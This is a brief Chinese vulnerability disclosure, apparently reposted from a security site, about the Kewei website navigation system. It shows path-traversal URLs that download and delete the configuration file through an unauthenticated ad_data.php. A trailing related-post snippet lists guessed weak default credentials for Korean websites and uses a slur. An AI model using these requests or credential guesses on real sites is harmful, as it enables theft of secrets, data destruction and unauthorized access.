科威网址导航系统任意下载、删除文件漏洞

    垃圾网址导航程序，内核盗用别人的程序还拿去卖钱。鸡肋漏洞，看分析。。

    在文件“adminad_data.php”中，备份还原数据库功能，没有进行管理登录验证。经典对白，看代码。

任意文件下载漏洞演示：
    http://127.0.0.1/admin/ad_data.php?action=down&filename=../include/config_inc.php

任意文件删除漏洞演示：
    http://127.0.0.1/admin/ad_data.php?action=delete&filename=../include/config_inc.php

文章来源于lcx.cc:科威网址导航系统任意下载、删除文件漏洞

相关推荐: 【转载】韩国棒子网站的一些弱口令

    这几天因为一些事，一直再搞韩国棒子的站。给一点弱口令，给大家和国内完全不一样。     暂时把账号表达为：username     账号一般为：域名和 admin，其他就要猜了，域名的概率为：10%，admin：30%。     密码一般是：0000，…